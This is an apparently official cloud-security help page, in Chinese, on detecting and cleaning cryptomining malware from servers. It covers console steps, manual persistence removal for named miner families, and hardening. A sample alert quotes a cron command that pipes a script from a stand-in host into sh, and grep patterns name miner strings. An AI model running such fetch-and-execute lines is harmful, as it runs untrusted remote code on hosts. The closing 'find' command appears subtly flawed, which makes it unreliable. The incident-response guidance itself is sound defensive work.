全部產品
Search
文件中心

Security Center:處理挖礦程式最佳實務

更新時間:Sep 09, 2026

Elastic Compute Service執行個體遭挖礦程式入侵後,會導致CPU資源耗盡、業務中斷,甚至內網被蠕蟲化滲透擴散。本文介紹從緊急止損、根源分析、多重路徑清理到長效安全強化的完整應急響應流程,協助快速恢複系統安全。

挖礦入侵常見途徑

ECS 伺服器被植入挖礦程式通常不是因為硬體問題,而是安全防護不足導致。常見入侵途徑如下:

  • SSH 弱口令暴力破解:攻擊者掃描開放的 SSH 連接埠,使用字典破解弱密碼,擷取伺服器許可權後植入挖礦程式。

  • Redis 未授權訪問:Redis 未設定密碼或綁定了錯誤的 IP,攻擊者利用 Redis 寫檔案功能植入挖礦指令碼。

  • Web 應用程式漏洞:攻擊者利用 RCE 或檔案上傳漏洞,直接在伺服器上執行挖礦程式。

建議採取以下防護措施:

  1. 使用Security Center病毒查殺定期掃描和清理挖礦程式(需防病毒版及以上版本支援)。

  2. 在安全性群組中限制可疑連接埠(如 51827),僅允許可信 IP 訪問。

  3. 定期核查 SSH 公開金鑰,清理非授權公開金鑰。

挖礦程式的危害與識別

危害

  • 資源佔用與損耗:挖礦程式佔用CPU進行超頻運算以擷取虛擬貨幣,導致CPU資源嚴重消耗,直接影響伺服器上其他業務應用的正常運行。

  • 蠕蟲化傳播:安全邊界被突破後,挖礦病毒會迅速向內網滲透擴散,在被入侵的伺服器上建立持久化駐留機制,確保長期獲利。

  • 清除難度大:挖礦程式具有聯動防護機制,清理不徹底會導致病毒反覆感染。部分變種(如xorddos)會替換系統命令,執行正常系統命令時觸發惡意指令碼,增加清除難度。

識別途徑

  • 效能急劇下降:伺服器CPU使用率周期性或長時間持續在80%以上,導致業務應用響應緩慢或完全不可用。

  • 系統穩定性受損:挖礦程式的高負載運算可能導致系統崩潰或服務中斷。

  • 接收安全警示:Security Center檢測到挖礦程式、礦池通訊行為或訪問惡意網域名稱等警示時,會發送警示通知。

  • 檢測機制說明:Security Center的挖礦檢測為後台自動識別機制,無獨立的自服務偵查工具。可在控制台檢測響應 > 安全事件頁面查看挖礦相關警示結果。

  • Webshell 前兆指標:發現 Webshell 後門檔案是挖礦病毒植入的前兆指標。攻擊者通常先上傳異常 Webshell,隨後安裝並啟動挖礦病毒。建議在安全事件列表中關注同一主機的 Webshell 警示與挖礦警示的時間先後關聯關係。

應對策略

快速響應,徹底清除挖礦程式及其持久化後門,恢複伺服器正常效能,並實施安全強化防止再次入侵。

成本與風險說明

  • 成本說明:

    • Security Center:病毒查殺、深度查殺等進階功能需要購買防病毒版及以上版本,提供7天免費試用。

    • 無代理檢測:此功能為隨用隨付服務,需單獨購買無代理檢測計費功能。

    • 應急響應服務:如果無法自行處理,可以購買阿里雲應急響應服務,由專業安全工程師提供支援。

  • 風險提示:

    • 手動清理風險:手動清理可能誤刪系統檔案或修改配置,導致伺服器無法啟動或業務中斷。建議操作前建立快照。

    • 資料丟失風險:重新初始化系統硬碟會永久刪除系統硬碟上的所有資料。若未提前建立快照,資料將無法恢複。

方案架構

本指南遵循"發現-止損-清理-加固"的應急響應模型,提供三種處置路徑以適應不同技術能力和業務情境。

  1. 快速自檢與緊急止損:在最短時間內識別威脅並控制事態,防止損失擴大。主要措施包括識別異常進程和網路連接,並通過安全性群組進行網路隔離。

  2. 決策與方案選擇:根據技術水平、時間成本和風險偏好,從以下三種方案中選擇最合適的清理路徑:

    • Security Center自動化清理(推薦):利用Security Center自動化工具,高效、準確地處理警示、查殺病毒和清理持久化後門。

    • 手動清理:適用於具備豐富Linux/Windows營運經驗的專業人員,通過手動排查和執行命令進行系統深度清理。

    • 重設系統:當感染深入系統底層或反覆出現時,備份資料後重新初始化系統硬碟,從根源上杜絕後患。

  3. 驗證與安全強化:清理完成後驗證系統無異常,並實施安全強化措施。

實施步驟

快速自檢與緊急止損

收到警示或探索服務器效能異常時,首先執行初步診斷和緊急控制。

  1. 識別異常進程和網路

    • 檢查高CPU進程:登入伺服器,執行top -c或ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more命令,尋找長時間佔用高CPU資源的未知進程。

    • 檢查可疑網路連接:執行ss -ntp或netstat -antp命令,檢查是否有與未知遠程地址(特別是常見礦池連接埠如3333、5555、7775等)的串連。

  2. 執行緊急止損

    • 網路隔離(推薦):最快、最安全的止損方式。立即登入ECS控制台,修改伺服器所在安全性群組規則,將出方向規則設定為全部拒絕,僅保留對可信IP的遠程登入連接埠(如SSH 22或RDP 3389)存取權限。此操作可瞬間切斷挖礦程式與礦池的通訊。

    • 終止惡意進程:對於已識別的惡意進程,執行kill -9 <PID>命令將其終止。這僅是臨時措施,若未清除其持久化機制,進程很可能會重啟。

Security Center不提供獨立的礦工 IP 排查工具,挖礦串連檢測由後台自動執行。在檢測響應 > 安全事件頁面,查看異常網路連接和異常網路流量類警示,擷取礦工 IP 和礦池 IP 資訊。

伺服器狀態說明

處置挖礦警示後,只要伺服器保持無挖礦行為,Security Center不會自動關停或鎖定 ECS 執行個體。Security Center是檢測和警示服務,不具備執行個體關停能力。

  • 手動處理警示:在Security Center控制台 > 安全警示頁面,單擊警示詳情,選擇我已手工處理。

  • 自動到期:未手動處理的警示在 30 天后自動歸檔為已到期資料。

執行清理

根據實際情況選擇以下任一方案進行清理。

使用Security Center自動化清理(推薦)

適用範圍

  • 此方案要求已購買Security Center防病毒版、進階版、企業版或旗艦版。

    說明

    開通 7 天企業版免費試用,也可以使用相關功能。

  • 若需進行全盤掃描,需開通無代理檢測隨用隨付。

  • 確保目標伺服器的Security Center用戶端處於線上狀態。

步驟一:處置警示並終止惡意進程

使用Security Center安全警示功能,可以終止惡意進程的運行並隔離病毒檔案,快速阻斷挖礦程式運行。詳細內容,請參見評估及處理安全警示。樣本操作如下:

  1. 登入Security Center控制台。

  2. 在左側導覽列,選擇檢測響應 > 安全事件。在控制台左上方,選擇需防護資產所在的地區:中國內地或非中國內地。

  3. 找到並單擊挖礦警示操作列的詳情,查看該警示的詳細資料。

    重要

    根據云資訊安全中心控制台提供的警示基礎資訊、事件說明等,可以找到挖礦程式的位置,以及確認是否存在其他警示或可疑檔案。需要自行判斷導致挖礦警示的檔案是正常業務檔案還是攻擊者啟動並執行檔案。如果確認為攻擊事件,建議處理挖礦程式警示後,一併處理該伺服器上其他警示和可疑檔案。

    在警示詳情頁面,還可以查看礦工 IP 和礦池通訊目標 IP 資訊,可將相關 IP 加入安全性群組禁用,以阻斷挖礦通訊。

  4. 返回安全警示列表,處理挖礦程式警示。

    1. 單擊目標挖礦程式警示操作列的處理。

    2. 在警示處理對話方塊,處理方式選中病毒查殺,然後選中結束進程。或結束進程並隔離源文件,並單擊立即處理,防止該程式再次啟動。

      如果確認導致挖礦警示的檔案為非業務檔案,建議選中結束進程並隔離源文件,以避免病毒檔案進一步感染伺服器。

      說明

      Security Center支援批次處理未處理(合併由同一規則引發的警報)功能。如果需要批量處理相同規則或類型觸發的警示,可以選中批次處理未處理(合併由同一規則引發的警報)。

  5. 在安全警示列表,對挖礦事件產生的其他衍生警示(例如:礦池通訊行為)執行阻斷操作。

    說明

    Security Center通過產生對應的策略防止伺服器訪問礦池,確保有充足的時間對安全事件進行處理。也可以手動將礦池IP加入安全性群組禁用。添加安全性群組的具體操作,請參見添加安全性群組規則。

  6. 在安全警示列表,查看進程行為異常警示,確認是否存在異常的計劃任務,並處理對應警示。

    說明

    資訊安全中心警示詳情面板中,警示名稱為進程異常行為-Linux計劃任務執行異常指令,狀態為待處理。關鍵字段如下:

    • 進程名稱:bash

    • 進程路徑:/usr/bin/bash

    • 進程 ID:14075

    • 使用者名稱:root

    • 命令列參數:/bin/sh -c curl -fsSL http://a.com/init.sh | sh > /dev/null 2>&1

    事件說明:駭客入侵後將惡意 SHELL 指令碼寫入 crontab 或 systemd 計劃任務以實現持久化運行。解決方案建議檢查 /etc/crontab、/var/spool/cron/、/var/spool/cron/crontabs/ 等目錄下的可疑計劃任務檔案並加固系統密碼。

步驟二:深度查殺與持久化清理

惡意進程被終止後,其自啟動項、計劃任務等持久化機制可能仍然存在。使用Security Center的病毒查殺功能掃描並完成清理。具體操作,請參見病毒查殺。樣本操作如下:

  1. 登入Security Center控制台。在左側導覽列,選擇防護配置 > 主機防護 > 病毒查殺。在控制台左上方,選擇需防護資產所在的地區:中國內地或非中國內地。

  2. 在病毒查殺頁面,單擊立即掃描或重新扫描。

  3. 在扫描设置面板,設定掃描模式和掃描範圍,然後單擊確定。

    • 掃描模式:選擇快速掃描。

    • 掃描範圍:選擇被挖礦程式攻擊的伺服器。

  4. 掃描完成後,在病毒查殺頁面,單擊目標警示操作列的處理。

  5. 在警示處理面板,選擇深度查殺,單擊下一步,等待系統處理警示。

  6. 處理完成後,在警示列表頁查看處理結果和警示狀態。

步驟三:全盤掃描

為確保無檔案殘留,可使用無代理檢測功能進行離線全盤掃描。該功能僅支援檢測,不支援修複,需要根據風險詳情頁的說明自行處理風險項。更多資訊,請參見無代理檢測使用指南。

  1. 登入Security Center控制台。選擇需防護資產所在的地區:中國內地或非中國內地。

  2. 在無代理檢測 > 主機安全檢測頁簽的風險檢測地區,單擊立即檢測。

  3. 在立即檢測面板,參考如下說明完成配置後,單擊確定。

    • 掃描範圍:建議勾選選中資料盤,資料來源越完整,漏洞、警示等檢測效果越好。

    • 鏡像儲存時間:

      • 取值範圍為1~365,單位:天。

      • 建立鏡像會收取相關費用,鏡像儲存天數越多收費越高。

        重要

        勾選僅保留存在風險的鏡像後,系統將在掃描結束後自動刪除無風險鏡像。

  4. 建立任務後,Security Center將自動建立鏡像,掃描等後續操作。更多資訊,請參見自動建立快照和鏡像。

    說明

    需要掃描的伺服器資料量越多,完成掃描任務所需的時間越長,請耐心等待任務完成。

  5. 等待檢測任務完成後,查看並及時處理檢測出的漏洞風險、基準檢查、安全警示和敏感檔案。

手動清理

挖礦程式會存放大量持久化後門,導致病毒難以清理。如果未購買Security Center服務且遇到挖礦病毒,可採取以下措施排查和處理。

重要

此方案涉及修改檔案及配置,執行前建議為伺服器磁碟建立快照,以便在操作失誤時恢複資料。

Linux系統

  1. 阻斷惡意網路通訊。

    發現主機存在挖礦行為後,由於完整處理整個挖礦事件的周期較長,為及時控制挖礦影響,需要首先阻斷挖礦木馬的網路通訊行為。

    1. 執行以下命令,查看當前系統網路連接狀態。

      netstat -antp
      [root@ixxx poc]# netstat -antp
      Active Internet connections (servers and established)
      Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
      tcp        0      0 0.xxx:xxx               0.0.0.0:*               LISTEN      1399/sshd
      tcp        0      0 12xxx:xxx               0.0.0.0:*               LISTEN      1121/master
      tcp        0      0 127.0.0.xxx:xxx         0.0.0.0:*               LISTEN      8847/node
      tcp        0      0 0.0.xxx:xxx             0.0.0.0:*               LISTEN       572/rpcbind
      tcp        0      0 127.xxx:xxx             12x.x.x.1:xxx           ESTABLISHED 8988/node
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             TIME_WAIT   -
      tcp        0      0 127.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8847/node
      tcp        0      0 127.xxx:xxx             127.x.x.x              ESTABLISHED 8761/sshd: root@not
      tcp        0      0 17x.xxx:xxx             10x.xxx:xxx             ESTABLISHED 17704/AliHips
      tcp        0      0 17x.xxx:xxx             18x.xxx:xxx             ESTABLISHED 16901/logrotate
      tcp        0      0 1xx.xxx:xxx             12x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp        0      0 1xx.xxx:xxx             100.xxx:xxx             TIME_WAIT   -
      tcp        0      0 1xx.xxx:xxx3            10x.xxx:xxx             ESTABLISHED 1506/AliYunDun
      tcp        0      0 17x.xxx:xxx22           14x.xxx:xxx             ESTABLISHED 8761/sshd: root@not
      tcp6       0      0 :::xxx                  :::*                    LISTEN      1121/master
      tcp6       0      0 :::xxx                  :::*                    LISTEN       572/rpcbind
    2. 將以下命令中的c2地址替換為正常業務不會使用的可疑遠程地址(Foreign Address),然後執行以下命令添加防火牆規則,阻斷伺服器與該可疑地址之間的所有網路連接。

      iptables -A INPUT -s c2地址 -j DROP
      iptables -A OUTPUT -d c2地址 -j DROP
  2. 清除計劃任務。

    挖礦木馬常通過計劃任務實現定期下載(更新)並啟動挖礦木馬。如果僅清理挖礦進程和挖礦木馬檔案,無法根治且會出現挖礦反覆的情況。

    排查以下計劃任務檔案,刪除計劃任務中的挖礦木馬下載和啟動任務。

    • 查看目前使用者或指定使用者(username)的計劃任務。

      crontab -l
      crontab -u username -l
    • 主機所有計劃任務檔案。

      /etc/crontab
      /var/spool/cron/
      /etc/anacrontab
      /etc/cron.d/
      /etc/cron.hourly/
      /etc/cron.daily/
      /etc/cron.weekly/
      /etc/cron.monthly/
  3. 清除自啟動服務項。

    1. 執行以下命令,排查系統所有自啟動服務。

      systemctl list-unit-files | grep enabled
    2. 找到對應可疑服務的單元檔案,排查服務詳細資料。

      將命令中的*替換為服務名稱,<service_unit_name>替換為服務的單元檔案名稱。

      ls -al /etc/systemd/system/*.service
      ls -al /usr/lib/systemd/system/*.service
      
      # 查看服務詳細資料(服務啟動的進程檔案)
      cat /etc/systemd/system/<service_unit_name>.service
    3. 如果發現惡意的自啟動服務項,使用以下命令禁用服務,刪除對應單元檔案。

      將命令中的<service name>替換為服務名稱,<service_unit_name>替換為服務的單元檔案名稱。

      systemctl disable <service name>
      rm /etc/systemd/system/<service_unit_name>.service
      rm /usr/lib/systemd/system/<service_unit_name>.service
    4. 排查以下服務路徑是否有自啟動服務,然後參考以上步驟進行清理。

      /etc/rc.local
      /etc/inittab
      /etc/rc.d/
      /etc/init.d/
  4. 清除SSH公開金鑰。

    挖礦木馬通常會將駭客SSH公開金鑰寫入~/.ssh/authorized_keys檔案中,以便通過SSH免密登入受害主機並重新植入惡意檔案。需要排查~/.ssh/authorized_keys檔案,如果發現可疑公開金鑰,立即刪除。

  5. 清除.so劫持。

    通過/etc/ld.so.preload檔案設定預先載入的.so檔案,可以劫持常見的系統命令(如top、ps、netstat等),達到隱藏挖礦進程的目的。

    1. 執行以下命令,排查預先載入的.so檔案。

      cat /etc/ld.so.preload
    2. 執行以下命令,刪除預先載入劫持。

      echo > /etc/ld.so.preload
  6. 清除惡意帳號。

    部分挖礦木馬家族會建立新的後門帳號以長期控制受害主機。執行以下命令,查看惡意帳號,然後手動刪除相關帳號資訊。

    • 通過日誌查看近期是否有建立帳號行為。

      cat /var/log/audit/audit.log | grep useradd
      # 或者
      cat /var/log/secure | grep 'new user'
    • 通過/etc/passwd檔案查看是否有可疑帳號。

      cut -d: -f1 /etc/passwd
    • 通過賬戶的home目錄查看可疑賬戶的建立或最近活躍時間,需特別關注近期建立的home目錄。

      stat /home/guest/
  7. 防修改對抗。

    部分挖礦木馬在寫入計劃任務、自啟動等持久化檔案後,會為對應檔案設定不可更改的屬性,防止持久化任務被刪除。

    [root@iZxxx poc]# rm /etc/cron.hourly/logrotate
    rm: remove regular file '/etc/cron.hourly/logrotate'? y
    rm: cannot remove '/etc/cron.hourly/logrotate': Operation not permitted
    [root@iZxxx poc]# echo "" > /etc/cron.hourly/logrotate
    bash: /etc/cron.hourly/logrotate: Permission denied
    [root@iZxxx poc]# lsattr /etc/cron.hourly/logrotate
    ----i---------e-- /etc/cron.hourly/logrotate

    遇到此類情況可以執行以下命令,恢複檔案屬性後再刪除對應任務。

    chattr -i /etc/passwd
    chattr -i /etc/crontab
  8. 清除挖礦木馬進程。

    1. 挖礦進程通常佔用較高的CPU,通過以下命令可以排查可疑的挖礦進程。

      • 排查佔用主機大量CPU的進程。

        top -c

        輸出中關注 %Cpu(s) 行的 99.4 us(使用者態 CPU 佔用)以及進程列表中 /root/.config/logrotate 佔用 395.0% CPU 的異常進程。

        top – 11:42:28 up 5 days,  1:30,  0 users,  load average: 2.71, 0.84, 0.32
        Tasks: 114 total,    1 running, 110 sleeping,   3 stopped,   0 zombie
        %Cpu(s): 99.4 us,  0.6 sy,  0.0 ni,  0.0 id,  0.0 wa,  0.0 hi,  0.0 si,  0.0 st
        KiB Mem :  7732792 total,  5724224 free,   562256 used,  1446312 buff/cache
        KiB Swap:        0 total,        0 free,        0 used.  6911024 avail Mem
        
          PID USER      PR  NI    VIRT    RES    SHR S  %CPU %MEM     TIME+ COMMAND
        16901 root      20   0  320776   3220   2308 S 395.0  0.0   2:31.13 /root/.config/logrotate
        ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
        [root@ixxx z poc]# ps -eo pid,ppid,cmd,%cpu --sort=-%cpu | more
          PID  PPID CMD                         %CPU
        16901     1 /root/.config/logrotate      208
         8988  8847 /root/.vscode-server/bin/2d  3.9
      • 排查異常網路連接行為。

        netstat -antp

        輸出中 16901/logrotate 進程存在異常 ESTABLISHED 網路連接,屬於可疑行為。

        [root@iZbp113etj2f09g5ci8fukZ poc]# netstat -antp
        Active Internet connections (servers and established)
        Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
        tcp        0      0 0.xxx.xxx.xx            xxx.xxx.xxx             LISTEN      1399/sshd
        tcp        0      0 12x.x.x.xxx             0.x.x.x                 LISTEN      1121/master
        tcp        0      0 1xx.x.x.xxx             xxx.xxx.xxx             LISTEN      8847/node
        tcp        0      0 0.xxx.xxx               x.x.x.x                 LISTEN      572/rpcbind
        tcp        0      0 12x.xxx.x.xxxxx         127.0.0.1.xxxxx         ESTABLISHED 8988/node
        tcp        0      0 17x.xx.xxx.xxx.xxxxx    xxx                     TIME_WAIT   -
        tcp        0      0 17x.xx                  xxx.xxx                 TIME_WAIT   -
        tcp        0      0 1xx.x.0.1.xxxxx         xxx.xxx                 ESTABLISHED 8847/node
        tcp        0      0 12x.x.x.xxx             xxx                     ESTABLISHED 8761/sshd: root@not
        tcp        0      0 1x.xxx.xxx.xxxxx        xxx.xxx.xxx.xxx         ESTABLISHED 17704/AliHips
        tcp        0      0 172.xx.xxx.x:1200       xxx.xxx.x.xxx:xxx       ESTABLISHED 16901/logrotate
        tcp        0      0 12x.x.x.xxx:x           12x.xxx                 ESTABLISHED 8761/sshd: root@not
        tcp        0      0 17x.xx.xxx.xxxxx        xxx.xxx.xx.xxx.xx       TIME_WAIT   -
        tcp        0      0 17x.xx.xxx              xxx.xxx                 ESTABLISHED 1506/AliYunDun
        tcp        0      0 1xx.xx                  xxx                     ESTABLISHED 8761/sshd: root@not
        tcp6       0      0 :xxx                    xxx                     LISTEN      1121/master
        tcp6       0      0 :::xxx                  xxx                     LISTEN      572/rpcbind
      • 擷取可疑進程的檔案路徑。

        ls -al /proc/$PID/exe
      • 計算對應進程檔案的MD5值,在阿里雲威脅情報平台查詢對應檔案資訊。

        md5sum /proc/$PID/exe

        查詢結果頁面將展示以下資訊:

        • 檔案風險等級(如中危)及近期活躍度。

        • 檔案詳情,包括檔案名稱、運行環境、首次發現時間。

        • 雜湊值資訊,包括 MD5、SHA1、SHA256。

        • 威脅標籤(如挖礦)。

    2. 執行以下命令,終止挖礦進程,並清理挖礦檔案。

      kill -9 $PID
      # 刪除 ls -al /proc/$PID/exe 擷取的進程路徑
      rm /path/to/executable

Linux系統(特定挖礦事件處理)

偽裝AliyunDuns的挖礦

  1. 執行以下命令,排查持久化自啟動項。

    grep -rlE "\\-\\-donate\\-level|xmrig|\\/opt\\/sysetmd|A_li_yun_Duns" /etc/systemd/system/*
    grep -rl "wget"  /etc/cron.hourly/*
  2. 如果有返回結果,表示存在自啟動服務項,執行以下命令,刪除自啟動服務項。

    rm -f /etc/systemd/system/sysetmd.service
    rm -f /etc/systemd/system/monero.service
    rm -f /etc/systemd/system/A_li_yun_Duns.service
    chattr -i /etc/cron.hourly/0
    rm -f /etc/cron.hourly/0
  3. 排查並處理異常使用者。

    1. 執行以下命令查詢系統使用者列表,鎖定異常使用者名稱稱。

      cat /etc/passwd
    2. 執行以下命令查看異常系統使用者的資訊。異常系統使用者以shaojiang99為例。

      cat /etc/passwd | grep shaojiang99
      cat /etc/shadow | grep shaojiang99
    3. 執行以下命令刪除異常系統使用者。

      chattr -i /etc/passwd
      chattr -i /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/shadow
      sed -i '/^shaojiang99:/d' /etc/passwd

Skidmap手動處理

  1. 執行以下命令,刪除自啟動服務項。

    echo "" > /lib/systemd/system/systemd-cgroup.service
    echo "" > /lib/systemd/system/systemd-deltaed.service
    echo "" > /usr/bin/systemd-cgroup.org
    echo "" > /usr/bin/systemd-cgroup
    echo "" > /usr/bin/systemd-deltaed
    echo "" > /usr/bin/systemd-deltaed.org
  2. 使用者手動恢複SSH公開金鑰檔案authorized_keys。

Cleanfda手動處理

  1. 排查以下計劃任務路徑,查看計劃任務是否存在可疑指令碼執行(例如/etc/upat.sh)。

    /var/spool/cron/
    /etc/cron.d/
    /var/spool/cron/crontabs
    /etc/crontab
  2. 排查被修改過的命令(ps、pstree、top等原程式會被加上尾碼.original進行重新命名)。

    ls -al /usr/bin | grep original
  3. 排查SSH公開金鑰,刪除未知公開金鑰。

    cat ~/.ssh/authorized_keys
    cat /root/.ssh/authorized_keys

樣本:

# 恢複被修改的命令
crondir='/var/spool/cron/'"$USER"
mv /bin/ps.original /bin/ps
mv /bin/top.original /bin/top
mv /bin/pstree.original /bin/pstree

# 恢複計劃任務檔案編輯許可權
chattr -R -ia /var/spool/cron
chattr -ia /etc/crontab
chattr -R -ia /var/spool/cron/crontabs
chattr -R -ia /etc/cron.d

# 刪除可疑計劃任務、載荷
sed -i '/upat.sh/d' /etc/crontab
rm -rf /etc/cron.d/httpd2
rm -rf /etc/upat.sh
rm -rf /tmp/upat.sh
rm -rf /etc/httpd2
rm -rf /tmp/httpd2

# 刪除可疑公開金鑰
sed -i '/cKtXBjj******hVI0K7b/d' ~/.ssh/authorized_keys
sed -i '/cKtXBjj******hVI0K7b/d' /root/.ssh/authorized_keys

Outlaw家族挖礦

  1. 排查所有cron計劃任務,查看是否存在.configrc5/字串。

    • 計劃任務路徑:

      /var/spool/cron/root
      /var/spool/cron/
      /etc/cron.d/
      /var/spool/cron/crontabs
      /etc/crontab
    • 執行以下命令排查。

      grep -r ".configrc5/" /var/spool/cron/*
      grep -r ".configrc5/" /etc/cron*
  2. 如果存在,執行以下命令,刪除相關檔案。

    rm -rf /tmp/.X2xi-unix/.rsync
    rm -rf ~/.configrc5

kinsing家族挖礦

  1. 執行以下命令排查cron計劃任務,查看是否存在類似gi.sh | bash > /dev/null的內容,如存在請刪除該行。

    grep -r "gi.sh | bash > /dev/null" /etc/cron*
    grep -r "gi.sh | bash > /dev/null" /var/spool/cron/*
  2. 執行以下命令排查是否存在/lib/systemd/system/bot.service服務。

    cat /lib/systemd/system/bot.service 
  3. 如果存在以上服務,執行以下命令排查/etc/ld.so.preload,查看是否存在libsystem.so檔案。

    cat /etc/ld.so.preload
  4. 排查到libsystem.so檔案路徑後,刪除該檔案。

Windows系統

  1. 在PowerShell中執行以下命令,通過CPU佔用情況排查可疑的挖礦進程。

    說明
     ps | sort -des cpu
     While(1) {ps | sort -des cpu | select -f 15 | ft -a; sleep 1; cls}
  2. 執行以下命令,查看挖礦進程的磁碟檔案、進程啟動命令的參數。

    說明
    wmic process where processid=xxx get processid,executablepath,commandline,name     //xxx表示進程pid
  3. 結束挖礦進程,清除挖礦檔案。

  4. 執行以下命令,檢查主機串連的可疑網路連接埠。

    說明
    netstat -ano | findstr xxx            // xxx表示可疑的網路連接埠
  5. 執行以下命令,檢查伺服器中hosts檔案是否存在挖礦程式的礦池地址。

    說明
    type  C:\Windows\System32\drivers\etc\hosts
  6. 執行以下命令,排查是否存在挖礦程式設定的計劃任務。

    說明
    schtasks /query

重設系統

如果破壞入侵較深、手動清理後問題複現,或伺服器上無關鍵業務資料,建議採用此方案。強烈建議在備份重要資料後,重設伺服器的系統以確保完全清理挖礦程式。

  1. 建立快照備份伺服器上的重要資料。具體操作,請參見手動建立單個快照。

  2. 重新初始化系統硬碟:在ECS控制台選擇目標執行個體,執行重新初始化系統硬碟操作。此操作會徹底清空系統硬碟,將其恢複至初始狀態。具體操作,請參見重新初始化系統硬碟(重設作業系統)。

  3. 使用快照產生雲端硬碟。具體操作,請參見使用快照建立資料盤。

  4. 掛載雲端硬碟到重裝系統後的伺服器上。具體操作,請參見掛載資料盤。

  5. 登入伺服器,從掛載的資料盤中拷貝純業務資料(如網站代碼、資料庫檔案)。

    重要

    切勿從舊快照中恢複任何可執行檔、系統設定檔或指令碼,以防再次引入後門。

購買應急響應服務

阿里雲提供安全應急響應服務,由專業的安全技術人員協助解決被病毒感染等問題。服務內容如下:

  • 全面清理系統中存在的木馬、病毒、異常帳號、異常檔案、WebShell、暗鏈等問題。

  • 分析駭客入侵手法,尋找入侵原因。

  • 指導使用者進行安全強化。

更多資訊,請參見應急響應服務。

驗證處理結果

完成清理後,必須進行驗證和加固,以確保安全並防止問題重演。

  1. 再次掃描:使用Security Center的病毒查殺或無代理檢測功能對伺服器進行一次全面掃描,確認無任何警示。

  2. 效能監控:持續觀察伺服器的CPU使用率,確認其已恢複到正常水平。

  3. 周期性掃描驗證:一次性掃描通過並不代表後門已徹底清除,部分挖礦後門會在定時任務或守護進程觸發後重新落地。在Security Center開啟定期病毒查殺(或無代理檢測)任務,並在清理後連續觀察數個掃描周期,確認每一輪掃描均無挖礦相關警示,才能判定無殘留後門。

  4. 警示監控驗證:在Security Center持續關注檢測響應 > 安全事件中的挖礦、惡意進程與持久化類警示。清理後一段時間內沒有同類警示重新產生,說明後門未再被觸發;若同類警示再次出現,說明仍有殘留的持久化項(如計劃任務、啟動項、SSH 公開金鑰),需返回手動清理方案重新排查。

  5. 漏洞關聯驗證:挖礦程式通常通過系統或應用漏洞入侵,若入侵入口未修複,清理後仍會被重複利用。使用Security Center的漏洞掃描功能確認本次入侵所利用的漏洞已修複,避免伺服器在後門清除後再次被植入挖礦程式。

  6. 檔案路徑不存在時的處理:若郵件警示中指定的檔案路徑在伺服器上不存在且 CPU 負載正常,可在安全事件列表中對警示執行忽略或已手工處理。登入Security Center控制台,選擇檢測響應 > 安全事件,找到對應警示,在操作列選擇忽略或已手工處理。執行後觀察是否產生新警示,無新警示則該警示可安全忽略。

安全強化

  • 開啟惡意主機行為防禦:Security Center提供的惡意主機行為防禦功能可對挖礦程式進行精準攔截,從而在事前抑制挖礦事件的發生。更多資訊,請參見主動防禦。

  • 存取控制強化:

    • 安全性群組最小化授權:配置ECS安全性群組,僅開放必要的業務連接埠(如80、443)。對於SSH(22)和RDP(3389)等管理連接埠,務必設定為僅對可信的固定IP(如辦公室網路或BastionhostIP)開放。

    • 密碼原則:對資料庫系統或檔案系統(MySQL、PolarDB、MaxCompute、Redis、NAS、OSS)、服務管理後台(寶塔面板BT、Nacos服務等)、作業系統使用者密碼(SSH、RDP等)配置複雜密碼,限制錯誤密碼重試次數,防止密碼被爆破入侵。

  • 漏洞與補丁管理:

    • 及時更新:定期為作業系統和應用軟體(如Web伺服器、資料庫)更新最新的安全補丁。

    • 漏洞掃描:利用Security Center的漏洞掃描功能,主動發現並修複系統和應用中存在的漏洞。

  • 業務安全強化:業務代碼上線前,進行代碼安全性測試或接入Web Application Firewall,防禦SQL注入、XSS跨站指令碼、常見Web伺服器外掛程式漏洞、木馬上傳、非授權核心資源訪問等OWASP常見攻擊,防止業務系統漏洞被利用導致入侵。

  • 憑據安全:避免在代碼或設定檔中寫入程式碼阿里雲存取金鑰(AccessKey)。推薦使用RAM角色或執行個體RAM角色為應用授權,遵循許可權最小化原則。更多資訊,請參見憑據的安全使用方式情節。

  • 應用配置恢複:挖礦程式除佔用CPU資源外,還可能篡改伺服器上的應用設定檔(如RocketMQ的.properties檔案、Nginx的.conf檔案等),導致服務異常或建立持久化後門。

    1. 尋找被篡改的設定檔:執行以下命令尋找近期被修改的設定檔,需覆蓋.conf、.properties、.xml、.yml等多種尾碼。

      find / -name '*.conf' -o -name '*.properties' -o -name '*.xml' -o -name '*.yml' -mtime -3
      說明

      不要僅搜尋.conf檔案,部分應用(如RocketMQ)使用.properties格式設定檔,僅搜尋.conf存在覆蓋盲區。

    2. 建立快照備份:恢複配置前,必須先為ECS執行個體建立快照備份,因為直接修改配置可能導致服務啟動失敗。建立快照的具體操作,請參見建立快照。

    3. 恢複設定檔:從快照或備份中恢複被篡改的設定檔,確認檔案內容已還原為原始配置。

    4. 重啟服務並驗證:恢複完成後重啟對應服務(例如RocketMQ通過mqshutdown/mqshutdownsrv命令重啟),並驗證服務功能正常。